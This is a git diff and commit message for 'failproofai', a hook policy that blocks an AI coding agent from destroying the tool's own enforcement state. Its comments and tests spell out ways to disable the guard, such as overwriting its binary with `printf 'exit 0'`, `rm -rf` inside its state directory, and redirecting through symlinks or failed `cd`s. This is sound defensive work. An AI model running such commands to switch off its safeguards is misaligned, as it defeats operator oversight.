b/src/hooks/builtin-policies.ts @@ -708,7 +708,12 @@ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); * installs `agentd`. `t` is the target directory for all but rsync, where it * is `--times`. */ -const INTO_DIRECTORY_OPTIONS: Record = { +type IntoDirectoryOptions = { short: string; values: readonly string[]; flags: readonly string[] }; + +// A Map, not an object literal: a command named `constructor` or `__proto__` +// must not find Object.prototype's member here, or the walk throws and the +// evaluator skips this always-on policy (found by CodeRabbit on #1058). +const INTO_DIRECTORY_OPTIONS = new Map(Object.entries({ // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take // one, `flags` take none or only an `=VALUE` glued on. cp: { @@ -771,7 +776,7 @@ const INTO_DIRECTORY_OPTIONS: Record)); /** * The long option `name` stands for, and whether it takes a value: an exact @@ -936,6 +941,9 @@ const PIPELINE_SEPARATORS = /\|\||&&|[;\n\r&]+/; /** A `$VAR` or `${VAR}` reference, wherever it sits. */ const VAR_REFERENCE_RE = /\$\{?([A-Za-z_][A-Za-z0-9_]*)\}?/g; +/** `NAME=value` or `export NAME=value`, quoted or not, wherever it sits. */ +const ASSIGNMENT_RE = /(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g; + /** * The spellings of the state directory a glob would have to match. * @@ -968,10 +976,13 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", - // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795). - "node_modules/.bin/failproofai", - "./node_modules/.bin/failproofai", - ".bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795), + // and the Windows shims beside it. + ...["", ".cmd", ".ps1", ".exe", ".bunx"].flatMap((shim) => [ + `node_modules/.bin/failproofai${shim}`, + `./node_modules/.bin/failproofai${shim}`, + `.bin/failproofai${shim}`, + ]), ]; /** How many `/`-separated segments the deepest glob candidate has. */ @@ -1010,6 +1021,7 @@ const GLOB_DECOYS = [ // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the // sweep it is rather than an aim at failproofai's. "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + "node_modules/.bin/tsc.cmd", "./node_modules/.bin/tsc.cmd", ".bin/tsc.cmd", // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. ".openai", ]; @@ -1555,16 +1567,18 @@ function commandWordList(simpleCommand: string): string[] { * check. `inShell` resolves a relative word against a `cd` the walk followed; * `lost` says the walk could not follow one, so a relative destination may be * npm's bin directory and the entry's own name there is refused. + * `landsOnState` judges where a written path really lands, symlinks followed. */ function landsInDirectoryAs( words: string[], namesState: (text: string) => boolean, inShell: (word: string) => string = (word) => word, lost = false, + landsOnState: (written: string) => boolean = () => false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); - const options = INTO_DIRECTORY_OPTIONS[head]; + const options = INTO_DIRECTORY_OPTIONS.get(head); if (!options) return false; const operands: string[] = []; let directory: string | undefined; @@ -1622,7 +1636,7 @@ function landsInDirectoryAs( const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); if (written === undefined || sources.length === 0) return false; const destination = inShell(written); - if (directory === undefined && namesState(destination)) return true; + if (directory === undefined && (namesState(destination) || landsOnState(written))) return true; const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; @@ -1632,14 +1646,20 @@ function landsInDirectoryAs( // that exists, and so does `ln` given a trailing separator, so neither can. // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an // existing one with names that are not on the line. + // rsync never makes the destination a copy of a source directory: it puts + // `src` inside it, or with `src/` what is in `src`. const createsDirectory = - directory === undefined && !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || recursive); + directory === undefined && + !(head === "ln" && /[\\/]$/.test(written)) && + (head === "mv" || head === "ln" || (recursive && head !== "rsync")); const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { - if (/[\\/]$/.test(source)) return false; - const name = baseName(source); + // A trailing separator keeps the directory's own name everywhere but rsync, + // where `src/` means what is in it. + if (head === "rsync" && /[\\/]$/.test(source)) return false; + const name = baseName(source.replace(/[\\/]+$/, "")); if (name === "" || name === "." || name === "..") return false; if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; @@ -1647,15 +1667,19 @@ function landsInDirectoryAs( if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; // A glob source puts names the line does not spell into the directory. if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; - if (!namesState(landing)) return false; - return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); + if (!namesState(landing) && !landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing) || landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`); }); } -/** True when a one-segment glob could expand to the entry's own name. */ +/** The entry's own name and the Windows shims npm and bun write beside it. */ +const ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; + +/** True when a one-segment glob could expand to the entry's name or a shim's. */ function globCouldBeEntry(name: string): boolean { try { - return new RegExp(`^${compileGlobPattern(name)}$`, "i").test("failproofai"); + const pattern = new RegExp(`^${compileGlobPattern(name)}$`, "i"); + return ENTRY_NAMES.some((entry) => pattern.test(entry)); } catch { return true; } @@ -1821,7 +1845,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // independent of the order the assignments appear in, rather than resting on // a shell evaluating them top to bottom. const assignments = [ - ...command.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g), + ...command.matchAll(ASSIGNMENT_RE), ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); const stateVars = new Set(); for (let pass = 0; pass < assignments.length + 1; pass++) { @@ -1873,100 +1897,236 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or // the same `printf` in a session a previous call left there, names // `node_modules/.bin/failproofai` only once `failproofai` is read from there - // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments - // with `.` and `..` resolved, because the patterns match the tail of a path - // and an unbounded path made every later word slower to judge. - let shellDir = startDir ? shellTail(shellPath(undefined, startDir)) : undefined; - // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) - // may have put the shell in npm's bin directory, so until the next one it can - // follow, a relative word is also judged as if it stood in an installed - // location (`AS_IF_INSTALLED`). - let lostTrack = false; - type Where = { dir: string | undefined; lost: boolean; inState: boolean }; + // (FailproofAI/agenteye#1795). + // + // `dir` is the directory's last `SHELL_DIR_SEGMENTS` segments, which is what + // words are read from: every pattern matches the end of a path, and an + // unbounded path made every later word slower to judge. `full` is the whole + // path, absolute when the session's directory is known and otherwise relative + // to wherever the line started (`.`); it is what a `..` that climbs above + // `dir` and a symlink are resolved from. Past `FULL_DIR_SEGMENTS` it is + // dropped and `deep` set. `lost` marks a `cd` the walk could not follow + // (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`): a relative word is then also + // judged as if it stood in an installed location (`AS_IF_INSTALLED`). + type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean }; + const startFull = typeof startDir === "string" && startDir !== "" ? shellPath(undefined, startDir) || "." : "."; + let at: Where = { + dir: startFull === "." ? undefined : shellTail(startFull), + full: startFull, + deep: false, + lost: false, + inState: false, + }; let previous: Where | null = null; const dirStack: Where[] = []; - const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; - const here = (): Where => ({ dir: shellDir, lost: lostTrack, inState: cwdInState }); - // A relative word read from where the shell stands, and `//`, `.` and `..` - // resolved in any. - const inShell = (word: string): string => - relativeWord(word) && shellDir !== undefined - ? shellPath(shellDir, word) + // Where the shell may stand instead. A `cd` can fail, and a command after + // `;`, a newline, `&` or `||` runs anyway, in the directory the shell never + // left: `cd /nonexistent; printf x > failproofai`. Only `&&` makes what + // follows wait for the `cd`. So the directories a move leaves are held in + // `pending` until the next separator, and become possible (`alts`) unless + // that separator is `&&`. + let alts: Where[] = []; + let pending: Where[] = []; + const scopes: Array<{ + depth: number; + at: Where; + previous: Where | null; + stack: Where[]; + alts: Where[]; + pending: Where[]; + }> = []; + const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; + // Each place once, not where the shell certainly is, and only the latest few. + const possible = (list: Where[], limit = MAX_ALTERNATE_DIRS): Where[] => { + const kept: Where[] = []; + for (const where of list.slice().reverse()) { + if (kept.length < limit && !sameWhere(where, at) && !kept.some((other) => sameWhere(other, where))) { + kept.unshift(where); + } + } + return kept; + }; + // Symlinks this line makes (`ln -s `), which no `lstat` sees + // yet, followed the way the kernel does: the first component that is one is + // replaced by where it points, and the result is walked again. + const links = new Map(); + const followLinks = (path: string): string => { + let linked = path; + for (let hops = 0; hops < 8 && links.size > 0; hops++) { + let next: string | undefined; + for (let i = linked.indexOf("/", 1); next === undefined; i = linked.indexOf("/", i + 1)) { + const prefix = i === -1 ? linked : linked.slice(0, i); + const target = links.get(prefix); + if (target !== undefined) next = target + linked.slice(prefix.length); + if (i === -1) break; + } + if (next === undefined) break; + linked = shellPath(undefined, next); + } + return linked; + }; + + // A relative word read from `base`, and `//`, `.` and `..` resolved in any. + const fromBase = (base: Where, word: string): string => + relativeWord(word) && base.dir !== undefined + ? shellPath(base.dir, word) : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) ? shellPath(undefined, word) || "." : word; - const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text); - // Whether `text`, read from where the shell stands, names what `namesState` - // protects — asked apart from `namesState(text)` where the whole line has - // already been judged as written. - const resolvesOntoState = (text: string): boolean => { + const resolvesFrom = (base: Where, text: string): boolean => { // An option is not a path to read from where the shell stands. if (text.startsWith("-")) return false; + if (base.lost && relativeWord(text)) { + if (AS_IF_INSTALLED.some((dir) => namesState(dir + text))) return true; + } + // A `..` can climb above `dir`. Then it is read from the whole path, cut + // the same way, or when even that was too long to keep, as if from an + // installed location. + if (relativeWord(text) && text.includes("..") && !base.lost) { + const climbed = fromBase(base, text); + if (climbed.startsWith("..") || (base.dir !== undefined && !climbed.startsWith("/") && base.full?.startsWith("/"))) { + if (base.full !== undefined) { + const whole = shellPath(base.full === "." ? undefined : base.full, text); + if (FAILPROOFAI_STATE_PATH_RE.test(whole) || namesState(shellTail(whole))) return true; + } else if (base.deep && climbed.startsWith("..")) { + const rest = climbed.replace(/^(?:\.\.\/)+/, ""); + if (AS_IF_INSTALLED.some((dir) => namesState(dir + rest))) return true; + } + } + } + if (base.lost) return false; // Every pattern spells `failproof`, so only a word or a directory that // does, or a glob that could, can resolve onto one. A glob as written is // already tried against every candidate that starts with a relative // directory, so it is read from where the shell stands only when that is a // directory a candidate continues from by one name (`node_modules/.bin` // and `fail*`), or when it climbs out with `..`. - const spellsName = /failproof/i.test(text) || /failproof/i.test(shellDir ?? ""); - if (!spellsName) { + if (!/failproof/i.test(text) && !/failproof/i.test(base.dir ?? "")) { if (!GLOB_METACHAR_RE.test(text)) return false; - const parent = (shellDir ?? "").slice((shellDir ?? "").lastIndexOf("/") + 1).toLowerCase(); - if (!lostTrack && !GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + const parent = (base.dir ?? "").slice((base.dir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; } - if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => namesState(dir + text)); - const resolved = inShell(text); + const resolved = fromBase(base, text); return resolved !== text && namesState(resolved); }; - // What the line assigns, so a word built from it is judged as the path it - // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` and `~+` are - // where the shell stands, `~-` where it stood, `$HOME` is `~` unless the line - // sets it. A variable the line never sets stays a reference, and a `cd` into - // one is a `cd` the walk cannot follow. Every word is judged as written as - // well, so an assignment the shell never makes (`: D=x`) cannot hide one. - const values = new Map(assignments); + // Whether `text`, read from where the shell stands or may stand, names what + // `namesState` protects — asked apart from `namesState(text)` where the whole + // line has already been judged as written. + const resolvesOntoState = (text: string): boolean => + resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); + // A written path as the absolute path it spells from `base`: `plain` as + // text, `linked` with the symlinks this line made applied. + const absoluteFrom = (base: Where, written: string): { plain: string; linked: string } | undefined => { + if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { + return undefined; + } + const plain = written.startsWith("/") + ? shellPath(undefined, written) + : written === "~" || written.startsWith("~/") + ? shellPath(undefined, homedir() + written.slice(1)) + : relativeWord(written) && !base.lost && base.full?.startsWith("/") + ? shellPath(base.full, written) + : undefined; + return plain === undefined ? undefined : { plain, linked: followLinks(plain) }; + }; + const realPaths = new Map(); + const realPath = (path: string): string => { + let real = realPaths.get(path); + if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || path)); + return real; + }; + // Whether a path really lands on what `namesState` protects once symlinks + // are followed — those on disk, as the file tools already follow them, and + // those this line makes: `printf x > bins/failproofai` where `bins` links to + // `node_modules/.bin`. Only a link counts, so a backup that merely carries a + // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + const landsOnState = (written: string): boolean => + [at, ...alts].some((base) => { + const path = absoluteFrom(base, written); + if (path === undefined) return false; + const real = realPath(path.linked); + return real !== path.plain && namesState(real); + }); + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // What the line has assigned by the point the walk reaches, so a word built + // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s + // /tmp/stage $B`. In a loop a later assignment can come first, so there the + // last one is known from the start. `$PWD` and `~+` are where the shell + // stands, `~-` where it stood, `$HOME` is `~` unless the line sets it. A + // variable the line never sets stays a reference, and a `cd` into one is a + // `cd` the walk cannot follow. Every word is judged as written as well, so an + // assignment the shell never makes (`: D=x`) cannot hide one. + const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); const expand = (word: string): string => { let out = word; - if (out.startsWith("~+") && shellDir !== undefined && !lostTrack) out = shellDir + out.slice(2); + if (out.startsWith("~+") && at.dir !== undefined && !at.lost) out = at.dir + out.slice(2); else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined && !lostTrack ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && at.dir !== undefined && !at.lost ? at.dir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); // A value that refers to itself grows with every pass. if (out.length > 4096) return word; } return out; }; - // `full` is the directory before `shellTail` cuts it, so a deep path inside - // the state is still known to be inside it; `named` is the operand as - // written, judged when the walk cannot follow it. - const moveTo = (to: Where | { dir: string | undefined; lost: boolean; full?: string; named?: string }) => { - previous = here(); - shellDir = to.dir === undefined ? undefined : shellTail(to.dir); - lostTrack = to.lost; - cwdInState = - "inState" in to - ? to.inState - : (!to.lost && to.dir !== undefined && namesState(to.full ?? to.dir)) || (to.named !== undefined && namesState(to.named)); - cdParenDepth = cwdInState ? parenDepth : null; - }; - const moveToWord = (target: string, named: string) => { - if (/\$|`/.test(target)) { - moveTo({ dir: undefined, lost: true, named }); - return; + // `named` is the operand as written, judged when the walk cannot follow it. + const whereAfter = (base: Where, target: string, named: string): Where => { + if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + const relative = relativeWord(target); + if (relative && base.lost) { + return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + } + const homeBased = target === "~" || target.startsWith("~/"); + let full: string | undefined = !relative + ? target.startsWith("/") + ? shellPath(undefined, target) + : homeBased + ? shellPath(undefined, homedir() + target.slice(1)) + : undefined + : base.full !== undefined + ? shellPath(base.full === "." ? undefined : base.full, target) || "." + : undefined; + // `~user` and a `cd` from a directory too deep to keep are read from `dir`. + const fromDir = shellPath(relative ? base.dir : undefined, target); + let deep = relative && base.deep; + if (full !== undefined && full.length > FULL_DIR_SEGMENTS && full.split("/").length > FULL_DIR_SEGMENTS) { + full = undefined; + deep = true; } - const full = shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target); - moveTo({ dir: full, lost: lostTrack && relativeWord(target), full, named }); + const kept = full !== undefined ? (full === "." ? undefined : shellTail(full)) : shellTail(fromDir); + // Inside the state: going further down from inside stays inside, so only a + // move that names a new path or climbs out reads the whole path again. + const climbs = /(?:^|\/)\.\.(?:\/|$)/.test(target); + const inState = + namesState(named) || + (kept !== undefined && namesState(kept)) || + (relative && !climbs + ? base.inState + : full !== undefined && (!relative || base.inState) && FAILPROOFAI_STATE_PATH_RE.test(full)); + return { dir: kept, full, deep, lost: false, inState }; + }; + // Moves the shell to `to`, and anywhere else it may stand to `others`. If + // the move fails, it stays wherever it was, which `pending` keeps — unless + // it returns somewhere the shell has already stood (`popd`, `cd -`, the + // session's own directory), which exists. + const moveTo = (to: Where, others: Where[] = [], certain = false) => { + if (sameWhere(to, at) && alts.length === 0) return; + previous = at; + if (!certain) pending = [...pending, at, ...alts].slice(-2 * MAX_ALTERNATE_DIRS); + at = to; + alts = possible(others); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; }; // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the // shell where it was, never somewhere safe. `+N` / `-N` count entries the // way `dirs` lists them: the current directory first, then the stack from - // its top. `cd -` is `$OLDPWD` and a bare `cd` is `$HOME`, either of which - // the line may set itself. + // its top, and `-n` changes the stack without moving. `cd -` is `$OLDPWD` and + // a bare `cd` is `$HOME`, either of which the line may set itself. const moveShell = (head: string, args: string[], expandedArgs: string[]) => { - const at = here(); + const stackOnly = head !== "cd" && args.includes("-n"); const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); const named = k === -1 ? undefined : args[k]; const operand = k === -1 ? undefined : expandedArgs[k]; @@ -1974,41 +2134,72 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const entries = [at, ...[...dirStack].reverse()]; const n = Number(operand.slice(1)); const index = operand.startsWith("+") ? n : entries.length - 1 - n; - if (index < 0 || index >= entries.length) return; + if (index < 0 || index >= entries.length || stackOnly) return; if (head === "pushd") { const rotated = [...entries.slice(index), ...entries.slice(0, index)]; dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); - moveTo(rotated[0]); + moveTo(rotated[0], [], true); } else if (entries.length > 1) { const rest = entries.filter((_, i) => i !== index); dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); - if (index === 0) moveTo(rest[0]); + if (index === 0) moveTo(rest[0], [], true); } return; } if (head === "popd") { const top = dirStack.pop(); - if (top) moveTo(top); + if (top && !stackOnly) moveTo(top, [], true); return; } if (head === "pushd" && operand === undefined) { + if (stackOnly) return; const top = dirStack.pop(); if (top) { dirStack.push(at); - moveTo(top); + moveTo(top, [], true); } return; } if (operand === "-") { const oldpwd = values.get("OLDPWD"); - if (oldpwd !== undefined) moveToWord(expand(oldpwd), oldpwd); - else if (previous) moveTo(previous); + if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd)); + else if (previous) moveTo(previous, [], true); return; } if (operand === "") return; - if (head === "pushd") dirStack.push(at); const target = operand ?? expand("$HOME"); - moveToWord(target, named ?? target); + const to = whereAfter(at, target, named ?? target); + if (stackOnly) { + dirStack.push(to); + return; + } + if (head === "pushd") dirStack.push(at); + // Wherever else the shell may stand moves too, the same way. + moveTo( + to, + alts.map((where) => whereAfter(where, target, named ?? target)), + startFull.startsWith("/") && to.full === startFull, + ); + }; + // `ln -s `: where the link points, so a later write through + // it on the same line lands where it would. + const recordLink = (args: string[]): void => { + if (!args.some((a) => /^-[A-Za-z]*s/.test(a) || a === "--symbolic")) return; + if (args.some((a) => /^-[A-Za-z]*t/.test(a) || a.startsWith("--target"))) return; + const operands = args.filter((a) => !a.startsWith("-")); + if (operands.length !== 2) return; + const [target, linkWord] = operands; + for (const base of [at, ...alts]) { + const link = absoluteFrom(base, linkWord.replace(/[\\/]+$/, "")); + if (link === undefined) continue; + const linkPath = /[\\/]$/.test(linkWord) ? `${link.plain}/${target.slice(target.lastIndexOf("/") + 1)}` : link.plain; + const resolved = target.startsWith("/") + ? shellPath(undefined, target) + : target === "~" || target.startsWith("~/") + ? shellPath(undefined, homedir() + target.slice(1)) + : shellPath(linkPath.slice(0, linkPath.lastIndexOf("/")) || "/", target); + links.set(linkPath, resolved); + } }; // A loop header hands its word list to the body, and the body is a separate @@ -2016,8 +2207,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // rm -rf $f; done` is a header that only expands and a body that only deletes // something called `$f`. let loopCarriesState = false; - for (const pipeline of command.split(PIPELINE_SEPARATORS)) { + const parts = command.split(new RegExp(`(${PIPELINE_SEPARATORS.source})`)); + for (let part = 0; part < parts.length; part += 2) { + const pipeline = parts[part]; + // A move the next command does not depend on may have failed, so from + // there on the directory before it is possible too. + if (part > 0 && parts[part - 1] !== "&&" && pending.length > 0) { + alts = possible([...pending, ...alts]); + pending = []; + } if (!pipeline.trim()) continue; + for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) values.set(name, value.replace(/^["']|["']$/g, "")); const simpleCommands = pipeline.split("|"); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; @@ -2043,14 +2243,20 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const expanded = words.map(expand); const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; const head = words.length > 0 ? commandBasename(words[0]) : ""; - // Track the shell's position before judging: a `cd` INTO the state makes - // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { - if (parenDepth > 0) { - shellDirScopes.push({ depth: parenDepth, at: here(), previous, stack: dirStack.slice() }); + // Every stage of a pipeline runs in a subshell of its own, so a `cd` + // there moves nothing the rest of the line sees. + if (simpleCommands.length === 1) { + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice() }); + } + moveShell(head, words.slice(1), expanded.slice(1)); } - moveShell(head, words.slice(1), expanded.slice(1)); - } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { + } else if ( + [at, ...alts].some((base) => + lists.some((list) => landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState)), + ) + ) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; @@ -2058,14 +2264,21 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) words.length > 0 && // Operands only: the command word is a program, not a path written to. // The line as written is `reachesState`; a word adds to it only by - // resolving from where the shell stands, or by what expansion made it. + // resolving from where the shell stands or through a symlink, or by + // what expansion made it. (reachesState || - words.some((word, k) => k > 0 && (resolvesOntoState(word) || (expanded[k] !== word && namesHere(expanded[k]))))) && + words.some( + (word, k) => + k > 0 && + (resolvesOntoState(word) || landsOnState(word) || (expanded[k] !== word && namesHere(expanded[k]))), + )) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; + } else if (head === "ln" && simpleCommands.length === 1) { + recordLink(expanded.slice(1)); } parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { @@ -2074,23 +2287,34 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } // Leaving a subshell puts back where the shell stood before it, inside // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. - while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { - const scope = shellDirScopes.pop()!; - shellDir = scope.at.dir; - lostTrack = scope.at.lost; - cwdInState = scope.at.inState; - cdParenDepth = cwdInState ? parenDepth : null; + while (scopes.length > 0 && parenDepth < scopes[scopes.length - 1].depth) { + const scope = scopes.pop()!; + at = scope.at; previous = scope.previous; + alts = scope.alts; + pending = scope.pending; dirStack.splice(0, dirStack.length, ...scope.stack); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; } } } return false; } -/** How much of the shell's directory the walk keeps; see `shellPath`. */ +/** How much of the shell's directory the walk reads words from; see `shellTail`. */ const SHELL_DIR_SEGMENTS = 16; +/** + * How much of the shell's whole path the walk keeps for a `..` that climbs + * above `SHELL_DIR_SEGMENTS` and for following symlinks. Bounded so that a + * script of a thousand `cd`s stays linear. + */ +const FULL_DIR_SEGMENTS = 256; + +/** How many directories a failed `cd` can leave the shell in that the walk tracks. */ +const MAX_ALTERNATE_DIRS = 4; + /** * Where a relative word is also read once the walk has lost the shell's * directory: the places an installed failproofai entry or package lives. Only @@ -3280,7 +3504,18 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // the session's directory, or the one an Antigravity `run_command` names. const toolCwd = ctx.toolInput?.cwd; const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; - if (destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd)) { + // The walk must not throw: a policy that throws is skipped by the evaluator, + // and for this one that is an allow. So a throw is a deny, said as one. + let destroys: boolean; + try { + destroys = destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd); + } catch (err) { + return deny( + "failproofai could not read this command to check it against its own files, so it is refused. " + + `Rewrite it more simply, or say so and let the operator decide. (${err instanceof Error ? err.message : String(err)})`, + ); + } + if (destroys) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", From 70f0e1bc141eb6268c300e5c5ab51440adab5bed Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:04:02 +0530 Subject: [PATCH 16/60] [hooks] Match node_modules and .pnpm only as whole path components MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The installed-code pattern started at `node_modules` with no boundary, so a write to `/work/proj/cached_node_modules/failproofai/index.js` (an ordinary fixture) was denied as failproofai's installed code; `my-node_modules/…` and `foo.pnpm/failproofai@…` likewise. A lookbehind now requires the component to start at a separator, the start, a space, a quote or `=`, so `node_modules/failproofai` and `…/node_modules/failproofai` still match. Found by CodeRabbit on the stacked #1795 PR. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 5 +++++ src/hooks/builtin-policies.ts | 7 ++++--- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 1ebccc705..98548f965 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -205,6 +205,10 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], ["a project file named after the product", "/work/proj/src/failproofai.ts"], ["a project in a directory of that name under bin/", "/home/u/bin/failproofai/src/index.ts"], + // `node_modules` and `.pnpm` count only as whole path components. + ["a fixture under a directory that merely ends in node_modules", "/work/proj/cached_node_modules/failproofai/index.js"], + ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], + ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -250,6 +254,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["clearing every dependency", "rm -rf node_modules/*"], ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], + ["removing a fixture under cached_node_modules", "rm -rf cached_node_modules/failproofai"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 1fd879c86..a27c79d8b 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -491,11 +491,12 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( [ // The package, in every layout a package manager uses, and the daemon's // platform package, which `failproofai config` and `update` copy into place - // (on Linux as root, under `/opt`). - 